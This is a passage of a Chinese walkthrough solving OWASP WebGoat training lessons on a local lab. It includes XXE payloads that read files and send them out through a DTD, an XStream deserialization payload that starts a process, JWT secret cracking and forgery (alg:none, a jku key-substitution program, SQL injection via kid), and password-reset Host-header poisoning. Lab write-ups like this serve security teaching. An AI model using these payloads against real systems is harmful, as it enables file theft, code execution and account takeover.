            success |= org.apache.commons.lang3.StringUtils.contains(comment.getText(), directory);
        }
        return success;
    }

构造 payload 如下:

xml 复制代码
<?xml version="1.0"?>
<!DOCTYPE comment [
  <!ENTITY js SYSTEM "file:///C:/Windows/">
]>
<comment>
	<text>&js;
	</text>
	</comment>


第 7 页

JSON 格式的 XXE 注入,本题需要修改 Content-Type参数为 application/xml

第 11 页

参考第 10 页的案例。

目标是获取题目提供的本地 secret.txt ,路径 C:\Users\xxx/.webgoat-xxx//XXE/yjysss/secret.txt

powershell 复制代码
WebGoat 8.0 rocks... (pSuLSqFPVz)

尝试使用 WebWolf 登录页面上传 hack.dtd 文件,内容如下:

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///C:/Users/15971/.webgoat-2025.3/XXE/yjysss/secret.txt">
<!ENTITY % print "<!ENTITY &#37; send SYSTEM 'http://localhost:8002/landing?text=%file;'>">

根据页面提示的 URL 格式构造请求,http://127.0.0.1:8002/WebWolf/files/{username}/{filename}

xml 复制代码
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM
"http://127.0.0.1:8002/WebWolf/files/yjysss/hack.dtd">
%dtd;
%print;
%send;
]>
<comment><text>dtd</text></comment>

解析响应内容,得到答案

(A6) Vuln & Outdated Components

Vulnerable Components

第 5 页

默认是使用相同 WebGoat 源代码但不同版本的 jquery-ui 组件的示例。一种是可利用的,一个不能利用。

第 12 页

本题要求必须在 docker 环境下完成,环境搭建参考开头章节。

payload 参考官网 payload:https://x-stream.github.io/CVE-2013-7285.html

根据题目要求,替换<interface>路径。

xml 复制代码
<contact class='dynamic-proxy'>
<interface>org.owasp.webgoat.lessons.vulnerablecomponents.Contact</interface>
  <handler class='java.beans.EventHandler'>
    <target class='java.lang.ProcessBuilder'>
      <command>
        <string>calc.exe</string>
      </command>
    </target>
    <action>start</action>
  </handler>
</contact>

(A7) Identity & Auth Failure

Authentication Bypasses

第 2 页

直接填入任意内容并抓包,默认参数示例如下:

bash 复制代码
secQuestion0=melody&secQuestion1=test&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746

根据项目代码,攻击者可通过以下方式绕过验证:

  • 参数名必须包含 secQuestion
  • 提交 2 个参数 (满足数量要求),但参数名不是 secQuestion0secQuestion1(例如 secQuestion2secQuestion3)。
  • 由于这两个参数未被 containsKey 检测到,跳过答案验证,直接返回 true
java 复制代码
@PostMapping(
    path = "/auth-bypass/verify-account",
    produces = {
        "application/json"
    })
@ResponseBody
public AttackResult completed(
    @RequestParam String userId, @RequestParam String verifyMethod, HttpServletRequest req)
throws ServletException, IOException {
    AccountVerificationHelper verificationHelper = new AccountVerificationHelper();
    Map < String, String > submittedAnswers = parseSecQuestions(req);
    if (verificationHelper.didUserLikelylCheat((HashMap) submittedAnswers)) {
        return failed(this)
            .feedback("verify-account.cheated")
            .output("Yes, you guessed correctly, but see the feedback message")
            .build();
    }

    // else
    if (verificationHelper.verifyAccount(Integer.valueOf(userId), (HashMap) submittedAnswers)) {
        userSessionData.setValue("account-verified-id", userId);
        return success(this).feedback("verify-account.success").build();
    } else {
        return failed(this).feedback("verify-account.failed").build();
    }
}

private HashMap < String, String > parseSecQuestions(HttpServletRequest req) {
    Map < String, String > userAnswers = new HashMap < > ();
    List < String > paramNames = Collections.list(req.getParameterNames());
    for (String paramName: paramNames) {
        // String paramName = req.getParameterNames().nextElement();
        if (paramName.contains("secQuestion")) {
            userAnswers.put(paramName, req.getParameter(paramName));
        }
    }
    return (HashMap) userAnswers;
}

public boolean verifyAccount(Integer userId, HashMap < String, String > submittedQuestions) {
    // short circuit if no questions are submitted
    if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) {
        return false;
    }

    if (submittedQuestions.containsKey("secQuestion0") &&
        !submittedQuestions
        .get("secQuestion0")
        .equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))) {
        return false;
    }

    if (submittedQuestions.containsKey("secQuestion1") &&
        !submittedQuestions
        .get("secQuestion1")
        .equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) {
        return false;
    }

    // else
    return true;
}

去掉校验参数即可:secQuestion11=melody&secQuestion12=test&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746

Insecure Login

第 2 页

代码中硬编码了登录信息:

java 复制代码
@PostMapping("/InsecureLogin/task")
@ResponseBody
public AttackResult completed(@RequestParam String username, @RequestParam String password) {
if ("CaptainJack".equals(username) && "BlackPearl".equals(password)) {
  return success(this).build();
}
return failed(this).build();
}

分别输入下面内容:

powershell 复制代码
CaptainJack
BlackPearl

JWT tokens

第 4 页

解码 JWT 令牌,答案是user

第 6 页

尝试更改收到的令牌并通过更改令牌成为管理员用户,重置投票。

切换用户为 tom,然后抓包

点击刷新投票界面,抓包请求 votings,解码上述 token

修改签名和权限,获取 Encoded 的值。

第 8 页

第一段代码使用parseClaimsJws,仅支持解析符合 JWS 规范的 Token(必须包含签名部分),没有签名会报异常;

第二段代码使用parse,默认情况下不强制验证签名(除非显式配置了签名验证规则),没有签名不会报异常;

第 11 页

本题使用了 SHA-2 弱加密的 HMAC,通过爆破解密。

鉴于以下令牌,请尝试找出密钥并提交一个新密钥,用户名更改为 WebGoat。

powershell 复制代码
eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTc1NjUyMTg3NCwiZXhwIjoxNzU2NTIxOTM0LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.XkN1Opo8dezcsUIYErCtNRjrExb846qJ1-msWvihItw

使用 https://hashcat.net/hashcat/ 工具通过字典https://github.com/first20hours/google-10000-english进行爆破。

Windows 环境操作如下

powershell 复制代码
hashcat.exe jwt.txt google-10000-english.txt


Cracked 表示已经破解,密钥是business,使用 webwolf 重新生成 JWT:

输入通过。

第 13 页

点击题目的链接:

页面显示

powershell 复制代码
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/checkout?token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q HTTP/1.1" 401 242 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 200 12783 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/login HTTP/1.1" 200 212 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/addItems HTTP/1.1" 404 249 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
195.206.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 404 215 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" "-"

点击 checkout 按钮并抓包,尝试使用页面的 token 请求,提示 token 过期。

powershell 复制代码
eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q

通过 webwolf 的 JWT 工具,解析该 token,发现是 Tom 的,符合题目要求,只是过期了。

查看代码:https://github.com/WebGoat/WebGoat/blob/main/src/main/java/org/owasp/webgoat/lessons/jwt/JWTRefreshEndpoint.java

分析接口/JWT/refresh/checkout,有 2 种攻击方式:

  • 利用令牌刷新漏洞获取 Tom 的有效令牌:通过 Jerry 的合法刷新令牌,结合 Tom 的旧令牌,刷新得到 Tom 的新令牌,再用于 checkout
  • 伪造无签名的 JWT 令牌(利用算法漏洞):服务器接受 alg: none(无签名)的 JWT,可直接伪造 Tom 的令牌

接口核心代码:

java 复制代码
@PostMapping("/JWT/refresh/checkout")
@ResponseBody
public ResponseEntity<AttackResult> checkout(
  @RequestHeader(value = "Authorization", required = false) String token) {
if (token == null) {
  return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
}
try {
  Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer ", ""));
  Claims claims = (Claims) jwt.getBody();
  String user = (String) claims.get("user");
  if ("Tom".equals(user)) {	// 方法1
    if ("none".equals(jwt.getHeader().get("alg"))) {	// // 方法2
      return ok(success(this).feedback("jwt-refresh-alg-none").build());
    }
    return ok(success(this).build());
  }
  return ok(failed(this).feedback("jwt-refresh-not-tom").feedbackArgs(user).build());
} catch (ExpiredJwtException e) {
  return ok(failed(this).output(e.getMessage()).build());
} catch (JwtException e) {
  return ok(failed(this).feedback("jwt-invalid-token").build());
}
}

方法1:利用令牌刷新漏洞获取 Tom 的有效令牌(符合业务流程的攻击)

调用 /JWT/refresh/login 接口,用 Jerry 的账号(user: Jerrypassword: bm5nhSkxCXZkKRy4)登录,获取 access_tokenrefresh_token

调用 /JWT/refresh/newToken 接口,携带:

  • 请求头:Authorization: Bearer <Tom的旧令牌>(即使过期,服务器仍能提取 user: Tom
  • 请求体:{"refresh_token": <Jerry的refresh_token>}(Jerry 的刷新令牌在服务器的 validRefreshTokens 中)
    接口会返回新的 access_tokenuser: Tom,有效签名)。

    携带新获取的 Tom 的 access_token调用checkout接口

    方法2:伪造无签名的 JWT 令牌(利用算法漏洞)

服务器接受 alg: none(无签名)的 JWT,可直接伪造 Tom 的令牌:在 WebWolf 的 JWT 工具页面操作:

直接发送请求:系统提示通过签名漏洞绕过。

第 16 页

目标:使用Jerry删除Tom的账户。

点击任意一个 Delete 按钮并抓包接口/WebGoat/JWT/jku/delete?token,使用 JWT 工具查看结果如下:

用到了 jku 这个参数配置,JKU 是 JWT 规范的一部分,它允许 JWT 消费者动态获取验证令牌签名所需的公钥。它是一个指向 JSON Web Key Set (JWKS) 端点的 URL,该端点包含发行者用于签署 JWT 的公钥。

查看 jku 这个值的内容:https://cognito-idp.us-east-1.amazonaws.com/webgoat/.well-known/jwks.json

可以看到这是一个 AWS Cognito 的验证错误 ,原因是链接中的 userPoolId(即 webgoat)不符合 Cognito 的格式约束(要求匹配正则 [\w-]+_[0-9a-zA-Z]+

powershell 复制代码
{
  "message": "1 validation error detected: Value 'webgoat' at 'userPoolId' failed to satisfy constraint: Member must satisfy regular expression pattern: [\\w-]+_[0-9a-zA-Z]+",
  "reasonCode": null
}

查看源码 JWTHeaderJKUEndpoint.java

java 复制代码
@PostMapping("jku/delete")
  public @ResponseBody AttackResult resetVotes(@RequestParam("token") String token) {
    if (StringUtils.isEmpty(token)) {
      return failed(this).feedback("jwt-invalid-token").build();
    } else {
      try {
        var decodedJWT = JWT.decode(token);
        var jku = decodedJWT.getHeaderClaim("jku");
        var jwkProvider = new JwkProviderBuilder(new URL(jku.asString())).build();
        var jwk = jwkProvider.get(decodedJWT.getKeyId());
        var algorithm = Algorithm.RSA256((RSAPublicKey) jwk.getPublicKey());
        JWT.require(algorithm).build().verify(decodedJWT);

        var username = decodedJWT.getClaims().get("username").asString();
        if ("Jerry".equals(username)) {
          return failed(this).feedback("jwt-final-jerry-account").build();
        }
        if ("Tom".equals(username)) {
          return success(this).build();
        } else {
          return failed(this).feedback("jwt-final-not-tom").build();
        }
      } catch (MalformedURLException | JWTVerificationException | JwkException e) {
        return failed(this).feedback("jwt-invalid-token").output(e.toString()).build();
      }
    }
  }

接口信任 jku 指向的任意 URL,攻击者可通过控制 jku 指向自己托管的 JWK 集合,使用自己的密钥对签名,使签名验证通过,同时将 username 设为 "Tom",最终触发接口返回成功。

因此利用步骤如下:代码中的地址请替换成你自己环境的地址。

java 复制代码
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ArrayNode;
import com.fasterxml.jackson.databind.node.ObjectNode;
import java.nio.charset.StandardCharsets;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.interfaces.RSAPrivateKey;
import java.security.interfaces.RSAPublicKey;
import java.util.Base64;
import java.util.Date;

public class Test {
    public static void main(String[] args) throws Exception {
        // 生成 RSA 密钥对
        KeyPairGenerator generator = KeyPairGenerator.getInstance("RSA");
        generator.initialize(2048);
        KeyPair keyPair = generator.generateKeyPair();
        RSAPrivateKey privateKey = (RSAPrivateKey) keyPair.getPrivate();
        RSAPublicKey publicKey = (RSAPublicKey) keyPair.getPublic();

        // 构建 JWKS(需上传到 WebWolf,例如:http://127.0.0.1:8002/WebWolf/files/your-jwks.json)
        String jwks = buildJWKS(publicKey, "jy");
        System.out.println("生成的 JWKS(保存为 jwks.json 并上传到 WebWolf):\n" + jwks + "\n");

        // 生成 JWT
        String jku = "http://127.0.0.1:8002/WebWolf/files/yjysss/jwks.json"; // 替换为你的 JWKS 实际地址
        String jwt = generateJWT(privateKey, jku, "jy");
        System.out.println("生成的 JWT:\n" + jwt);
    }

    // 构建符合要求的 JWKS
    private static String buildJWKS(RSAPublicKey publicKey, String kid) throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        ObjectNode root = mapper.createObjectNode();
        ArrayNode keys = mapper.createArrayNode();
        ObjectNode keyNode = mapper.createObjectNode();

        // 公钥参数(Base64URL 无填充编码)
        String n = Base64.getUrlEncoder().withoutPadding().encodeToString(publicKey.getModulus().toByteArray());
        String e = Base64.getUrlEncoder().withoutPadding().encodeToString(publicKey.getPublicExponent().toByteArray());

        keyNode.put("kty", "RSA")
                .put("use", "sig")
                .put("kid", kid)
                .put("n", n)
                .put("e", e);
        keys.add(keyNode);
        root.set("keys", keys);

        return mapper.writerWithDefaultPrettyPrinter().writeValueAsString(root);
    }

    // 生成符合接口要求的 JWT
    private static String generateJWT(RSAPrivateKey privateKey, String jku, String kid) throws Exception {
        // 构建 Header(Base64URL 编码)
        String header = "{\"alg\":\"RS256\",\"typ\":\"JWT\",\"jku\":\"" + jku + "\",\"kid\":\"" + kid + "\"}";
        String encodedHeader = Base64.getUrlEncoder().withoutPadding().encodeToString(header.getBytes(StandardCharsets.UTF_8));

        // 构建 Payload(必须包含 username: Tom,Base64URL 编码)
        long now = System.currentTimeMillis() / 1000; // 秒级时间戳
        String payload = String.format(
                "{\"username\":\"Tom\",\"iat\":%d,\"exp\":%d,\"aud\":\"webgoat.org\",\"iss\":\"WebGoat Token Builder\"}",
                now, now + 3600 // 有效期 1 小时
        );
        String encodedPayload = Base64.getUrlEncoder().withoutPadding().encodeToString(payload.getBytes(StandardCharsets.UTF_8));

        // 生成签名(SHA256withRSA)
        String input = encodedHeader + "." + encodedPayload;
        Signature signature = Signature.getInstance("SHA256withRSA");
        signature.initSign(privateKey);
        signature.update(input.getBytes(StandardCharsets.UTF_8));
        byte[] signatureBytes = signature.sign();
        String encodedSignature = Base64.getUrlEncoder().withoutPadding().encodeToString(signatureBytes);

        // 拼接 JWT
        return encodedHeader + "." + encodedPayload + "." + encodedSignature;
    }
}

输出如下:

powershell 复制代码
生成的 JWKS(保存为 jwks.json 并上传到 WebWolf):
{
  "keys" : [ {
    "kty" : "RSA",
    "use" : "sig",
    "kid" : "jy",
    "n" : "AI3jmvHMmOA2tYSnRJWOu9QS1-IcVOEQFX-_7UF4mi7x-Ei5IVx0Xy40bb1w3jyCrP7sats2z6ozBMhXVlzlIt9gh9AURQ_7KLDNc1hjHAO95iQH2bJYgIJ2HmG9Sm9s6vX4o0HKzar8V-yv9hGinLvyRL2tFJooI_BN_Czxdj03KWr9PpHx8os_TmGy3H46glINe3mVvFdmgsEjeuFD5UpfpmWHk6g3mnoIUrh4bEpmixzs8IT5lewwfz98wvGNolSOWJ_fkkIOv9A43-LE1mXyo7qNaQYXM_v7nIsJN-2iIltz3Uu4wk3DIApzEjF1MtZoonKy99BobVl7Y_R0RO0",
    "e" : "AQAB"
  } ]
}

生成的 JWT:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImprdSI6Imh0dHA6Ly8xMjcuMC4wLjE6ODAwMi9XZWJXb2xmL2ZpbGVzL3lqeXNzcy9qd2tzLmpzb24iLCJraWQiOiJqeSJ9.eyJ1c2VybmFtZSI6IlRvbSIsImlhdCI6MTc1OTU4MzIzMiwiZXhwIjoxNzU5NTg2ODMyLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlzcyI6IldlYkdvYXQgVG9rZW4gQnVpbGRlciJ9.YYW9iSqparx4BdzqVjry-yS-MLqrS0R7VzCSNMzWst13u0OCggcMJlKZqb9I7vgKF6DDP0zPk8ZypSaYVCrRZy4hF3zcri6pXJI7VNrY9t2dwSSZOI-mK5_ywigEgeBgJwOcxdwkfHYhndEjdfuyMxrw297zX1ZjWoj-8xawYNV36woTqZkWXHYhMJttjR0k2dSZUL0YqOvxA8QiTEVADsFtfHyGfK8mbB93SoKyyInon2uwOfmeuwAxuQ22Vt1Qok7ffBxkPITPFfL6ZM1aspYtSCexFP4R7m6PPzXqSE45HQdTTqKc9nQ-nbH7i9ycCEYDIl-49Wt5g6Rp3F1t4g

Process finished with exit code 0

按上面输出结果操作,创建一个文件 jwks.json,内容是上一步代码生成的如下:kid 的值自定义。

json 复制代码
{
  "keys" : [ {
    "kty" : "RSA",
    "use" : "sig",
    "kid" : "jy",
    "n" : "AI3jmvHMmOA2tYSnRJWOu9QS1-IcVOEQFX-_7UF4mi7x-Ei5IVx0Xy40bb1w3jyCrP7sats2z6ozBMhXVlzlIt9gh9AURQ_7KLDNc1hjHAO95iQH2bJYgIJ2HmG9Sm9s6vX4o0HKzar8V-yv9hGinLvyRL2tFJooI_BN_Czxdj03KWr9PpHx8os_TmGy3H46glINe3mVvFdmgsEjeuFD5UpfpmWHk6g3mnoIUrh4bEpmixzs8IT5lewwfz98wvGNolSOWJ_fkkIOv9A43-LE1mXyo7qNaQYXM_v7nIsJN-2iIltz3Uu4wk3DIApzEjF1MtZoonKy99BobVl7Y_R0RO0",
    "e" : "AQAB"
  } ]
}

在 webwolf 界面上传该文件,点击 Filename 中的文件链接

获得地址:http://127.0.0.1:8002/WebWolf/files/yjysss/jwks.json,这个地址的前面代码中我用到的 jku 地址。

修改 token 的值,发送后成功响应。

第 18 页

点击 DELETE 按钮并抓包

将请求的 Token 进行解码

查看上述抓包接口 /kid/delete 的源码:

java 复制代码
@PostMapping("kid/delete")
public @ResponseBody AttackResult resetVotes(@RequestParam("token") String token) {
    if (StringUtils.isEmpty(token)) {
        return failed(this).feedback("jwt-invalid-token").build();
    } else {
        try {
            final String[] errorMessage = {
                null
            };
            Jwt jwt =
                Jwts.parser()
                .setSigningKeyResolver(
                    new SigningKeyResolverAdapter() {
                        @Override
                        public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
                            final String kid = (String) header.get("kid");
                            try (var connection = dataSource.getConnection()) {
                                ResultSet rs =
                                    connection
                                    .createStatement()
                                    .executeQuery(
                                        "SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
                                while (rs.next()) {
                                    return TextCodec.BASE64.decode(rs.getString(1));
                                }
                            } catch (SQLException e) {
                                errorMessage[0] = e.getMessage();
                            }
                            return null;
                        }
                    })
                .parseClaimsJws(token);
            if (errorMessage[0] != null) {
                return failed(this).output(errorMessage[0]).build();
            }
            Claims claims = (Claims) jwt.getBody();
            String username = (String) claims.get("username");
            if ("Jerry".equals(username)) {
                return failed(this).feedback("jwt-final-jerry-account").build();
            }
            if ("Tom".equals(username)) {
                return success(this).build();
            } else {
                return failed(this).feedback("jwt-final-not-tom").build();
            }
        } catch (JwtException e) {
            return failed(this).feedback("jwt-invalid-token").output(e.toString()).build();
        }
    }
}

接收一个 JWT Token 作为参数,验证 Token 合法性后,根据 Token 中 username 声明决定是否允许删除操作:

  • username 为 "Tom",则操作成功;
  • username 为 "Jerry" 或其他值,则操作失败。

接口在解析 JWT 时,

  1. 从 JWT 头部提取 kid 字段;
  2. kid 直接拼接进 SQL 语句查询密钥:
  3. 用查询到的密钥验证 JWT 签名。

这里注意获取查询结果后进行了 base64 解码,因此构造的值需要进行 base64 编码。

java 复制代码
 final String kid = (String) header.get("kid");
                            try (var connection = dataSource.getConnection()) {
                                ResultSet rs =
                                    connection
                                    .createStatement()
                                    .executeQuery(
                                        "SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
                                while (rs.next()) {
                                    return TextCodec.BASE64.decode(rs.getString(1));
                                }
                            } catch (SQLException e) {
                                errorMessage[0] = e.getMessage();
                            }

只要满足以下两个条件,任意密钥都可以使用:

(1)攻击者通过 SQL 注入,让查询返回该密钥(例如:webgoat_key' UNION select '任意密钥' from INFORMATION_SCHEMA.SYSTEM_USERS --);

解释下这个 SQL 语句的含义:

select '任意密钥' 是一个 "常量查询",会直接返回字符串 任意密钥。通过 UNION 操作符,这个结果会与原始查询(SELECT key FROM jwt_keys WHERE id = 'webgoat_key',由于 webgoat_key 不存在,原始查询无结果)合并,最终使整个 SQL 语句的返回结果为 任意密钥

UNION 要求前后两个查询的列数和数据类型一致。原始查询 SELECT key ... 返回一列字符串(密钥),而 select 'mysecret' 也返回一列字符串,满足格式要求。

from INFORMATION_SCHEMA.SYSTEM_USERS 是为了让查询有一个合法的表名(系统表,通常环境中存在),避免 SQL 语法错误。即使该表为空,select 'mysecret' from ... 仍会返回 mysecret 这一行数据。

(2)攻击者使用该密钥对伪造的 JWT(username="Tom")进行签名。

解题:我这里使用 xxx 作为任意密钥,eHh4是其 Base64 编码。

修改请求 token 后,成功删除。

Password reset

第 2 页

选择忘记密码

输入邮箱:用户名@webgoat.org

在 webwolf 的邮件界面获取重置的密码,是原始密码的倒叙字符串。

重新使用重置的密码登录。

第 4 页

本页是找出其他用户的密码,查看源码

java 复制代码
/*
 * SPDX-FileCopyrightText: Copyright © 2018 WebGoat authors
 * SPDX-License-Identifier: GPL-2.0-or-later
 */
package org.owasp.webgoat.lessons.passwordreset;

import static org.owasp.webgoat.container.assignments.AttackResultBuilder.failed;
import static org.owasp.webgoat.container.assignments.AttackResultBuilder.success;

import java.util.HashMap;
import java.util.Map;
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
import org.owasp.webgoat.container.assignments.AttackResult;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class QuestionsAssignment implements AssignmentEndpoint {

  private static final Map<String, String> COLORS = new HashMap<>();

  static {
    COLORS.put("admin", "green");
    COLORS.put("jerry", "orange");
    COLORS.put("tom", "purple");
    COLORS.put("larry", "yellow");
    COLORS.put("webgoat", "red");
  }

  @PostMapping(
      path = "/PasswordReset/questions",
      consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE)
  @ResponseBody
  public AttackResult passwordReset(@RequestParam Map<String, Object> json) {
    String securityQuestion = (String) json.getOrDefault("securityQuestion", "");
    String username = (String) json.getOrDefault("username", "");

    if ("webgoat".equalsIgnoreCase(username.toLowerCase())) {
      return failed(this).feedback("password-questions-wrong-user").build();
    }

    String validAnswer = COLORS.get(username.toLowerCase());
    if (validAnswer == null) {
      return failed(this)
          .feedback("password-questions-unknown-user")
          .feedbackArgs(username)
          .build();
    } else if (validAnswer.equals(securityQuestion)) {
      return success(this).build();
    }
    return failed(this).build();
  }
}

如下是其他的用户名和安全问题答案。

powershell 复制代码
"admin", "green"
"jerry", "orange"
"tom", "purple"
"larry", "yellow"
"webgoat", "red"

第 5 页

目标:选择 2 个不常见的安全问题。


第 6 页

目标:尝试将 Tom(tom@webgoat-cloud.org)的密码重置为你自己选择的密码,并使用该密码以 Tom 的身份登录。

查看源码:需要修改 Host 信息。

java 复制代码
@PostMapping("/PasswordReset/ForgotPassword/create-password-reset-link")
  @ResponseBody
  public AttackResult sendPasswordResetLink(
      @RequestParam String email, HttpServletRequest request, @CurrentUsername String username) {
    String resetLink = UUID.randomUUID().toString();
    ResetLinkAssignment.resetLinks.add(resetLink);
    String host = request.getHeader(HttpHeaders.HOST);
    if (ResetLinkAssignment.TOM_EMAIL.equals(email)
        && (host.contains(webWolfPort)
            && host.contains(webWolfHost))) { // User indeed changed the host header.
      ResetLinkAssignment.userToTomResetLink.put(username, resetLink);
      fakeClickingLinkEmail(webWolfURL, resetLink);
    } else {
      try {
        sendMailToUser(email, host, resetLink);
      } catch (Exception e) {
        return failed(this).output("E-mail can't be send. please try again.").build();
      }
    }

    return success(this).feedback("email.send").feedbackArgs(email).build();
  }

抓包后修改 host 为 webwolf 的地址。

进入 webwolf 界面后点击 Incoming requests,获取下面的随机地址。

在浏览器中将地址进行修改。

http://127.0.0.1:8002/WebWolf/PasswordReset/reset/reset-password/8dc44b5a-6df8-4575-a3ce-8ab02f8f3116

修改为 webgoat 的服务路径。

http://127.0.0.1:8001/WebGoat/PasswordReset/reset/reset-password/8dc44b5a-6df8-4575-a3ce-8ab02f8f3116

会打开一个重置密码界面,修改 tom 的密码。

使用修改后的密码可以在 webgoat 页面成功登录。

Secure Passwords

第 4 页

输入一个安全的密码:例如Zww%4sd]g6Q<

可以使用 python 脚本生成。

python 复制代码
import random
import string

def generate_complex_password(length=12):
    # 确保密码长度至少为8位
    if length < 8:
        length = 8

    # 定义字符集
    lowercase = string.ascii_lowercase  # 小写字母 a-z
    uppercase = string.ascii_uppercase  # 大写字母 A-Z
    digits = string.digits              # 数字 0-9
    special_chars = "!@#$%^&*()_+-=[]{}|;:,.<>?"  # 特殊字符

    # 确保密码包含每种类型的字符至少一个
    pwd = [
        random.choice(lowercase),
        random.choice(uppercase),
        random.choice(digits),
        random.choice(special_chars)
    ]

    # 所有字符集合
    all_chars = lowercase + uppercase + digits + special_chars

    # 填充剩余长度
    for _ in range(length - 4):
        pwd.append(random.choice(all_chars))

    # 打乱密码字符顺序
    random.shuffle(pwd)

    return ''.join(pwd)

if __name__ == "__main__":
    # 生成默认长度的密码
    password = generate_complex_password()
    print(f"生成的复杂密码: {password}")
    print(f"密码长度: {len(password)}")

    # 验证密码包含所有必需的字符类型
    print("\n密码组成验证:")
    print(f"包含小写字母: {any(c.islower() for c in password)}")
    print(f"包含大写字母: {any(c.isupper() for c in password)}")
    print(f"包含数字: {any(c.isdigit() for c in password)}")
    print(f"包含特殊字符: {any(c in '!@#$%^&*()_+-=[]{}|;:,.<>?' for c in password)}")

(A8) Software & Data Integrity

Insecure Deserialization

第 5 页

目标:修改序列化对象,以使页面响应延迟5秒。

查看源码:src/main/java/org/owasp/webgoat/lessons/deserialization/InsecureDeserializationTask.java

java 复制代码
@PostMapping("/InsecureDeserialization/task")
@ResponseBody
public AttackResult completed(@RequestParam String token) throws IOException {
    String b64token;
    long before;
    long after;
    int delay;

    b64token = token.replace('-', '+').replace('_', '/');

    try (ObjectInputStream ois =
        new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {
        before = System.currentTimeMillis();
        Object o = ois.readObject();
        if (!(o instanceof VulnerableTaskHolder)) {
            if (o instanceof String) {
                return failed(this).feedback("insecure-deserialization.stringobject").build();
            }
            return failed(this).feedback("insecure-deserialization.wrongobject").build();
        }
        after = System.currentTimeMillis();
    } catch (InvalidClassException e) {
        return failed(this).feedback("insecure-deserialization.invalidversion").build();
    } catch (IllegalArgumentException e) {
        return failed(this).feedback("insecure-deserialization.expired").build();
    } catch (Exception e) {
        return failed(this).feedback("insecure-deserialization.invalidversion").build();
    }

    delay = (int)(after - before);
    if (delay > 7000) {
        return failed(this).build();
    }
    if (delay < 3000) {
        return failed(this).build();
    }
    return success(this).build();
}

接口的核心是通过反序列化 VulnerableTaskHolder 对象触发特定延迟命令,需满足以下条件:

(1)token 参数格式要求

  • token 必须是 序列化对象的 Base64 编码字符串 ,且接口会自动处理 Base64URL 与标准 Base64 的差异(将 - 替换为 +_ 替换为 /)。
  • 序列化的对象必须是 org.dummy.insecure.framework.VulnerableTaskHolder 类的实例(否则会返回 wrongobjectstringobject 错误)。

(2)VulnerableTaskHolder 对象构造要求

VulnerableTaskHolder 是可序列化类,其 readObject 方法会在反序列化时执行 taskAction 命令(核心逻辑),需满足:

  • taskAction 命令需触发 3-7 秒延迟 :接口会计算反序列化过程的耗时(after - before),仅当延迟在 3000-7000 毫秒之间时返回成功。
  • 命令需符合安全检查VulnerableTaskHolderreadObject 方法限制 taskAction 必须以 sleepping 开头,且长度 < 22(避免危险命令)。
  • serialVersionUID 匹配 :类定义中 serialVersionUID = 2,序列化时需保证版本一致(否则会返回 invalidversion 错误)。
  • 时间有效性requestedExecutionTime 需在当前时间 ±10 分钟内(否则会返回 expired 错误,由 VulnerableTaskHolderreadObject 校验)。

